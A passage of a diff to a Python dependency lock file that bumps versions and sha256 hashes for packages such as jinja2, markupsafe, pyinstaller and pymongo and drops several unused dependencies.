"sha256:23077d87d1589ac141c22923fd76853d2cc5b7e3c5e1f1f9cdf6ff23bc9790fc", - "sha256:37a469a99e6000b42dd0b9bbd9d716dbd66cdc6e5738f136f6a266c29b90ee99", - "sha256:3b600145dc0c5b39c6f89c2e91ec6c55eb0dd52dc8148228479ca42cded358e4", - "sha256:3f5ba654bdd3c774079b553fef535ede5b52c7abd224cb235a15da90ae36251b", - "sha256:43e93e1a4738c922a2416baf33f0afb0a20b22d3dba886720bc037cd02a98575", - "sha256:473f918bdf7d2096e391f66bd8ce1e969639aa235e710aaf750a37774bb585bd", - "sha256:4c94d27be9f0439b28eb8bd0f879e6142918c62092fda7fb96b6d06f01886b94", - "sha256:55ede95f41b74e7506fab293ad04cc7fc2b6f662b42281e9f2d668ad3817b574", - "sha256:6cad37a55e904879beef2a7e7c57c57d62fde2331fef1bec7f2b2a7ef14da6a2", - "sha256:72d4c2a8e65bbc702db76456841c7ddd6de2d9ab544a24aa74ad9c2b6411a269", - "sha256:75c29ed5148c916021d39d2fac90ccc0e19adf854626a34eaee012aa6b1fcb67", - "sha256:84e1af2dfb4ea9495cb914b00b6303ca0d54bf0a92e688a17e60f6b033873df2", - "sha256:8d8655ce581368b7e1ab42c8a3a166c0b43ea04e59970efbade9448864585e99", - "sha256:90131877d3ce1a05da1b718631860815b89ff44e93c42d168c9c9e8893b26318", - "sha256:9d46bea8644048ceac5737950c08fc89c37a66c34a56a6c9e3648726e60cb767", - "sha256:a8656d6e02bf47d7fa47728cf7a7cbf408f77ef1fad12afd9e0e3246c5de1707", - "sha256:aaf1451cd0d9c32f65a50e461084a0540be52b8ea05c18669c95b42e1f71592a", - "sha256:afc877ff4f277d0e51a1206d748fdab8c1e0256f7a05e1b1067abbed71c64da9", - "sha256:b10c3326edb76ec3049646dc5131608d6d3733b5adfc75d34852028ecc67c52c", - "sha256:ceec7c5f15fb2f9b767b194daa55246830db6c7c3c2f0b1c7e9e90cb4d01f3f9", - "sha256:e00dc0450f79253b7a3a7f2a28e6ca959c8d0d47c0f9fa2c57894c7974d5965f", - "sha256:e91632fdcf1c9a33e97e35f96edcbdf0b10e36cf53b58caa946dca4836bb688c", - "sha256:f39d5defda9443b5fb99a185050e94782fe7ac38f34f751b491142216ad23bc7" + "sha256:0082d8a5d23c35812ce0e716a91ede597f6dd2c5ff508a02a998f73598c59397", + "sha256:01928770972181ad8866ee37ea3504f1824587b188fcab782ef1619ce7538766", + "sha256:05c5e8a50cd6868dd36536c92fb4468d18090e801bd63611593c0717bab63692", + "sha256:08b4c17064e28f4eb85604486abc89f442c7407d2aed249cf54544ce5c9baee6", + "sha256:177f93a3a90f46a5009e0841fef561601e5c637ba4332ab8572edd96af650101", + "sha256:22ce1f38fdfe2149ffe8ec2131ca45281791c1e464db34b3b4321ae9d8d2efbb", + "sha256:24d3550fbaeef5fddd794819c2853bca45a86c3d64a056a2c268d981518220d1", + "sha256:2afa3f3ad528155433f6ac8bd64fa5cc303855b97004416ec719a6b1ca179481", + "sha256:2bcec9f80196c751fdcf389ca9f7141e7b0db960d8465ed79be5e685bfcad682", + "sha256:2cfff82f05f14b7f5d9ed53ccb7a609ae8604df522bb05c971bca78ec9d8b2b9", + "sha256:3baeeccc4791ba3f8db27179dff11855a8f9210ddd754f6c9b48e0d2561c2aea", + "sha256:3c012c73e6c61f13c75e3a4869dbe6a2ffa025f103421a6de9c85e627e7477b1", + "sha256:3dad62f55fad839d498c801e139481348991cee6e1c7706041b5fe096cb6a279", + "sha256:542ae891e2aa217d2cf6d8446538fcd2f3263a40eec123b970b899bac391c47a", + "sha256:6a02a88723ed3f0fd92cbf1df3c4cd2fbd87d82b0a4bac3e36a8875923115214", + "sha256:74fc1ef16b86616cfddcc74f7292642b0f72dde4dd95aebf4c45bb236744be54", + "sha256:7909780f0cf18a1fc32aafd8c8e130cdd93c6e285b11263f7f2d1a0f3678bc50", + "sha256:7ccffcf708094564e442ac6fde46f0ae9e40015cb69d995f4b39cc29a7643881", + "sha256:8c21cb5c9f4e14d75b3fe0b143ec875d7dbd1495fad6d49704b00e57e781ee0f", + "sha256:973749bacb7bc4f4181a8fb2a7e0e2ff44038de56d08e856dd54a5ac1d7331b4", + "sha256:9d86438ede1cbe0fde6ef4cc3f72bf2f1ecc9630d8b633ff344a3aeeca272cdd", + "sha256:9f9652d1e4062d4b5b5a0a49ff679fa890430b5f76969d35dccb2df114c55e0f", + "sha256:a5ad4ed8afa0a71e1927623589f06a9b5e8b5e77810be3125cb4d93050d3fd1f", + "sha256:b7709c64afa8bb3000c28bb91ec42c79594a7cb0f322e20427d57f9762366a5b", + "sha256:bb5cb8db753469c7a9a0b8a972d2660fe851aa06eee699a1ca42988afb0aaa02", + "sha256:c43f081cbca41d27fd8fef9c6a32cf83cb979345b20abc07bf68df165cdadb24", + "sha256:cc2fef0f98ee180704cf95ec84f2bc2d86c6c3711bb6b6740d74e0afe708b62c", + "sha256:da8d2d51a49b2a5beb02ad619ca9ddbef806ef4870ba04e5ac7b8b41a5b61db3", + "sha256:e1899b921219fc8959ff9afb94dae36be82e0769ed13d330a393594d478a0b3a", + "sha256:eae3c46f9484eaacd67ffcdf4eaf6ca830f587edd543613b0f5c4eb3c11d052d", + "sha256:ec21f9eaaa6a7b1e62da786132d6788675b314f25f98d9541f1bf00584ed4749", + "sha256:f289fae643a3f1c3b909d6b033e6921b05234a4907e9c9c8c3f1fe403e6ac452", + "sha256:f48b64578c367b91fa793bf8eaaaf4995cb93c8bc45860e473bf868070ad094e" ], "index": "pypi", - "version": "==21.8.0" + "version": "==21.12.0" }, "greenlet": { "hashes": [ + "sha256:0051c6f1f27cb756ffc0ffbac7d2cd48cb0362ac1736871399a739b2885134d3", "sha256:00e44c8afdbe5467e4f7b5851be223be68adb4272f44696ee71fe46b7036a711", "sha256:013d61294b6cd8fe3242932c1c5e36e5d1db2c8afb58606c5a67efce62c1f5fd", "sha256:049fe7579230e44daef03a259faa24511d10ebfa44f69411d99e6a184fe68073", @@ -309,6 +281,7 @@ "sha256:1e12bdc622676ce47ae9abbf455c189e442afdde8818d9da983085df6312e7a1", "sha256:21915eb821a6b3d9d8eefdaf57d6c345b970ad722f856cd71739493ce003ad08", "sha256:288c6a76705dc54fba69fbcb59904ae4ad768b4c768839b8ca5fdadec6dd8cfd", + "sha256:2bde6792f313f4e918caabc46532aa64aa27a0db05d75b20edfc5c6f46479de2", "sha256:32ca72bbc673adbcfecb935bb3fb1b74e663d10a4b241aaa2f5a75fe1d1f90aa", "sha256:356b3576ad078c89a6107caa9c50cc14e98e3a6c4874a37c3e0273e4baf33de8", "sha256:40b951f601af999a8bf2ce8c71e8aaa4e8c6f78ff8afae7b808aae2dc50d4c40", @@ -321,6 +294,7 @@ "sha256:7ff61ff178250f9bb3cd89752df0f1dd0e27316a8bd1465351652b1b4a4cdfd3", "sha256:833e1551925ed51e6b44c800e71e77dacd7e49181fdc9ac9a0bf3714d515785d", "sha256:8639cadfda96737427330a094476d4c7a56ac03de7265622fcf4cfe57c8ae18d", + "sha256:8c5d5b35f789a030ebb95bff352f1d27a93d81069f2adb3182d99882e095cefe", "sha256:8c790abda465726cfb8bb08bd4ca9a5d0a7bd77c7ac1ca1b839ad823b948ea28", "sha256:8d2f1fb53a421b410751887eb4ff21386d119ef9cde3797bf5e7ed49fb51a3b3", "sha256:903bbd302a2378f984aef528f76d4c9b1748f318fe1294961c072bdc7f2ffa3e", @@ -334,6 +308,8 @@ "sha256:aec52725173bd3a7b56fe91bc56eccb26fbdff1386ef123abb63c84c5b43b63a", "sha256:b11548073a2213d950c3f671aa88e6f83cda6e2fb97a8b6317b1b5b33d850e06", "sha256:b1692f7d6bc45e3200844be0dba153612103db241691088626a33ff1f24a0d88", + "sha256:b336501a05e13b616ef81ce329c0e09ac5ed8c732d9ba7e3e983fcc1a9e86965", + "sha256:b8c008de9d0daba7b6666aa5bbfdc23dcd78cafc33997c9b7741ff6353bafb7f", "sha256:b92e29e58bef6d9cfd340c72b04d74c4b4e9f70c9fa7c78b674d1fec18896dc4", "sha256:be5f425ff1f5f4b3c1e33ad64ab994eed12fc284a6ea71c5243fd564502ecbe5", "sha256:dd0b1e9e891f69e7675ba5c92e28b90eaa045f6ab134ffe70b52e948aa175b3c", @@ -354,20 +330,6 @@ "markers": "platform_python_implementation == 'CPython'", "version": "==1.1.2" }, - "httpagentparser": { - "hashes": [ - "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" - ], - "version": "==1.9.1" - }, - "humanfriendly": { - "hashes": [ - "sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477", - "sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==10.0" - }, "idna": { "hashes": [ "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", @@ -378,19 +340,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:53ccfd5c134223e497627b9815d5030edf77d2ed573922f7a0b8f8bb81a1c100", - "sha256:75bdec14c397f528724c1bfd9709d660b33a4d2e77387a3358f20b848bb5e5fb" + "sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6", + "sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539" ], "markers": "python_version < '3.8'", - "version": "==4.8.2" - }, - "importlib-resources": { - "hashes": [ - "sha256:33a95faed5fc19b4bc16b29a6eeae248a3fe69dd55d4d229d2b480e23eeaad45", - "sha256:d756e2f85dd4de2ba89be0b21dba2a3bbec2e871a42a3a16719258a11f87506b" - ], - "markers": "python_version < '3.9'", - "version": "==5.4.0" + "version": "==4.11.3" }, "ipaddress": { "hashes": [ @@ -402,51 +356,19 @@ }, "itsdangerous": { "hashes": [ - "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", - "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" + "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44", + "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" - }, - "jaraco.classes": { - "hashes": [ - "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", - "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" - ], - "markers": "python_version >= '3.6'", - "version": "==3.2.1" - }, - "jaraco.collections": { - "hashes": [ - "sha256:344d14769d716e7496af879ac71b3c6ebdd46abc64bd9ec21d15248365aa3ac9", - "sha256:6fdf48b6268d44b589a9d7359849f5c4ea6447b59845e489da261996fbc41b79" - ], - "markers": "python_version >= '3.6'", - "version": "==3.4.0" - }, - "jaraco.functools": { - "hashes": [ - "sha256:0e02358b3d86fab7963b0afa2181211dfa478ced708b057dba9b277bde9142bb", - "sha256:659a64743047d00c6ae2a2aa60573c62cfc0b4b70eaa14fa50c80360ada32aa8" - ], - "markers": "python_version >= '3.6'", - "version": "==3.4.0" - }, - "jaraco.text": { - "hashes": [ - "sha256:901d3468eaaa04f1d8a8f141f54b8887bfd943ccba311fc1c1de62c66604dfe0", - "sha256:d1506dec6485fbaaaedf98b678f1228f639c8d50fbfa12ffc2594cfc495a2476" - ], - "markers": "python_version >= '3.6'", - "version": "==3.6.0" + "markers": "python_version >= '3.7'", + "version": "==2.1.2" }, "jinja2": { "hashes": [ - "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", - "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" + "sha256:539835f51a74a69f41b848a9645dbdc35b4f20a3b601e2d9a7e22947b15ff119", + "sha256:640bed4bb501cbd17194b3cace1dc2126f5b619cf068a726b98192a0fde74ae9" ], - "markers": "python_version >= '3.6'", - "version": "==3.0.3" + "markers": "python_version >= '3.7'", + "version": "==3.1.1" }, "jmespath": { "hashes": [ @@ -466,78 +388,49 @@ }, "markupsafe": { "hashes": [ - "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", - "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", - "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", - "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194", - "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", - "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", - "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", - "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", - "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", - "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", - "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", - "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a", - "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", - "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", - "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", - "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38", - "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", - "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", - "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", - "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047", - "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", - "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", - "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b", - "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", - "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", - "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", - "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", - "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1", - "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", - "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", - "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", - "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee", - "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f", - "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", - "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", - "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", - "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", - "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", - "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", - "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86", - "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6", - "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", - "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", - "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", - "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", - "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e", - "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", - "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", - "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f", - "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", - "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", - "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", - "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145", - "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", - "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", - "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", - "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a", - "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207", - "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", - "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", - "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd", - "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", - "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85", - "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9", - "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", - "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", - "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", - "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51", - "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872" + "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", + "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", + "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", + "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", + "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", + "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", + "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", + "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", + "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", + "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", + "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", + "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", + "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", + "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", + "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", + "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", + "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", + "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", + "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", + "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", + "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", + "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", + "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", + "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", + "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", + "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", + "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", + "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", + "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", + "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", + "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", + "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", + "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", + "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", + "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", + "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", + "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", + "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", + "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", + "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "markers": "python_version >= '3.7'", + "version": "==2.1.1" }, "mongoengine": { "hashes": [ @@ -547,21 +440,6 @@ "index": "pypi", "version": "==0.20" }, - "more-itertools": { - "hashes": [ - "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b", - "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064" - ], - "markers": "python_version >= '3.5'", - "version": "==8.12.0" - }, - "netaddr": { - "hashes": [ - "sha256:9666d0232c32d2656e5e5f8d735f58fd6c7457ce52fc21c98d45f2af78f990ac", - "sha256:d6cc57c7a07b1d9d2e917aa8b36ae8ce61c35ba3fcd1b83ca31c5a0ee2b5a243" - ], - "version": "==0.8.0" - }, "netifaces": { "hashes": [ "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", @@ -602,24 +480,9 @@ "hashes": [ "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" ], - "markers": "python_version >= '3.6'", + "markers": "sys_platform == 'win32'", "version": "==2021.9.3" }, - "policyuniverse": { - "hashes": [ - "sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d", - "sha256:44145447d473c37ff2776667b5e1018a00c0a493c16a0a489399521b3786a8be" - ], - "version": "==1.4.0.20210819" - }, - "portend": { - "hashes": [ - "sha256:4c5a5a05fb31e5df7b73e08e96d55928d8a7f4ae6b4724de3777b06d0e8de693", - "sha256:df891766ee4fd887d83051b5ee9524aaad95a626f56faf5790682b6250ef03b9" - ], - "markers": "python_version >= '3.6'", - "version": "==3.0.0" - }, "pyaescrypt": { "hashes": [ "sha256:a26731960fb24b80bd3c77dbff781cab20e77715906699837f73c9fcb2f44a57", @@ -678,10 +541,28 @@ }, "pyinstaller": { "hashes": [ - "sha256:3730fa80d088f8bb7084d32480eb87cbb4ddb64123363763cf8f2a1378c1c4b7" + "sha256:24035eb9fffa2e3e288b4c1c9710043819efc7203cae5c8c573bec16f4a8e98f", + "sha256:59372b950d176fdc5ecea29719a8ab3f194b73a15b7f9875ac2a1de9a3daf5ed", + "sha256:62c97cbbdbee30974d607eb1de9afb081eb3adba787c203b00438e21027b829b", + "sha256:75a180a658871bc41f9cf94b6f90ffa54e98f5d6a7cdb02d7530f0360afe24f9", + "sha256:7f46ab11ec986e4c525b93251063144e12d432a132dbc0070e3030e34c76537a", + "sha256:a0b988cfc197d40e3d773b3aa1c7d3e918fc0933b4c15ec3fc5d156f222d82cb", + "sha256:b5f1a94150315ea75bf3501be6c8476d65a7209580bb662da06dbdbc4454f375", + "sha256:bec57b3b2b6178907255557ec0fc4b5ce5a0474013414cdadea853205c74ed26", + "sha256:e2f165cea4470ce8a8349112cd78f48a61413805adc17792a91997a11cfe1d80", + "sha256:ebeb87cdbadb2b4e8f991ffd9945ebd4fb3a7303180e63682c3e1ce01b3fdd22", + "sha256:ec3ca331d565ffca1b6470c5aaf798885a03708c3d0b15c1b19009126f84c1d4" ], "index": "pypi", - "version": "==3.6" + "version": "==4.9" + }, + "pyinstaller-hooks-contrib": { + "hashes": [ + "sha256:9765e68552803327d58f6c5eca970bb245b7cdf073e2f912a2a3cb50360bc2d8", + "sha256:9fa4ca03d058cba676c3cc16005076ce6a529f144c08b87c69998625fbd84e0a" + ], + "markers": "python_version >= '3.7'", + "version": "==2022.3" }, "pyjwt": { "hashes": [ @@ -693,197 +574,173 @@ }, "pymongo": { "hashes": [ - "sha256:02e0c088f189ca69fac094cb5f851b43bbbd7cec42114495777d4d8f297f7f8a", - "sha256:138248c542051eb462f88b50b0267bd5286d6661064bab06faa0ef6ac30cdb4b", - "sha256:13a7c6d055af58a1e9c505e736da8b6a2e95ccc8cec10b008143f7a536e5de8a", - "sha256:13d74bf3435c1e58d8fafccc0d5e87f246ae2c6e9cbef4b35e32a1c3759e354f", - "sha256:15dae01341571d0af51526b7a21648ca575e9375e16ba045c9860848dfa8952f", - "sha256:17238115e6d37f5423b046cb829f1ca02c4ea7edb163f5b8b88e0c975dc3fec9", - "sha256:180b405e17b90a877ea5dbc5efe7f4c171af4c89323148e100c0f12cedb86f12", - "sha256:1821ce4e5a293313947fd017bbd2d2535aa6309680fa29b33d0442d15da296ec", - "sha256:1a7b138a04fdd17849930dc8bf664002e17db38448850bfb96d200c9c5a8b3a1", - "sha256:1c4e51a3b69789b6f468a8e881a13f2d1e8f5e99e41f80fd44845e6ec0f701e1", - "sha256:1d55982e5335925c55e2b87467043866ce72bd30ea7e7e3eeed6ec3d95a806d4", - "sha256:1fa6f08ddb6975371777f97592d35c771e713ee2250e55618148a5e57e260aff", - "sha256:2174d3279b8e2b6d7613b338f684cd78ff7adf1e7ec5b7b7bde5609a129c9898", - "sha256:2462a68f6675da548e333fa299d8e9807e00f95a4d198cfe9194d7be69f40c9b", - "sha256:25fd76deabe9ea37c8360c362b32f702cc095a208dd1c5328189938ca7685847", - "sha256:287c2a0063267c1458c4ddf528b44063ce7f376a6436eea5bccd7f625bbc3b5e", - "sha256:2d3abe548a280b49269c7907d5b71199882510c484d680a5ea7860f30c4a695f", - "sha256:2fa101bb23619120673899694a65b094364269e597f551a87c4bdae3a474d726", - "sha256:2fda3b3fb5c0d159195ab834b322a23808f1b059bcc7e475765abeddee6a2529", - "sha256:303531649fa45f96b694054c1aa02f79bda32ef57affe42c5c339336717eed74", - "sha256:36806ee53a85c3ba73939652f2ced2961e6a77cfbae385cd83f2e24cd97964b7", - "sha256:37a63da5ee623acdf98e6d511171c8a5827a6106b0712c18af4441ef4f11e6be", - "sha256:3a2fcbd04273a509fa85285d9eccf17ab65ce440bd4f5e5a58c978e563cd9e9a", - "sha256:3b40e36d3036bfe69ba63ec8e746a390721f75467085a0384b528e1dda532c69", - "sha256:4168b6c425d783e81723fc3dc382d374a228ff29530436a472a36d9f27593e73", - "sha256:444c00ebc20f2f9dc62e34f7dc9453dc2f5f5a72419c8dccad6e26d546c35712", - "sha256:45d6b47d70ed44e3c40bef618ed61866c48176e7e5dff80d06d8b1a6192e8584", - "sha256:460bdaa3f65ddb5b7474ae08589a1763b5da1a78b8348351b9ba1c63b459d67d", - "sha256:47ed77f62c8417a86f9ad158b803f3459a636386cb9d3d4e9e7d6a82d051f907", - "sha256:48722e91981bb22a16b0431ea01da3e1cc5b96805634d3b8d3c2a5315c1ce7f1", - "sha256:49b0d92724d3fce1174fd30b0b428595072d5c6b14d6203e46a9ea347ae7b439", - "sha256:4a2d73a9281faefb273a5448f6d25f44ebd311ada9eb79b6801ae890508fe231", - "sha256:4f4bc64fe9cbd70d46f519f1e88c9e4677f7af18ab9cd4942abce2bcfa7549c3", - "sha256:5067c04d3b19c820faac6342854d887ade58e8d38c3db79b68c2a102bbb100e7", - 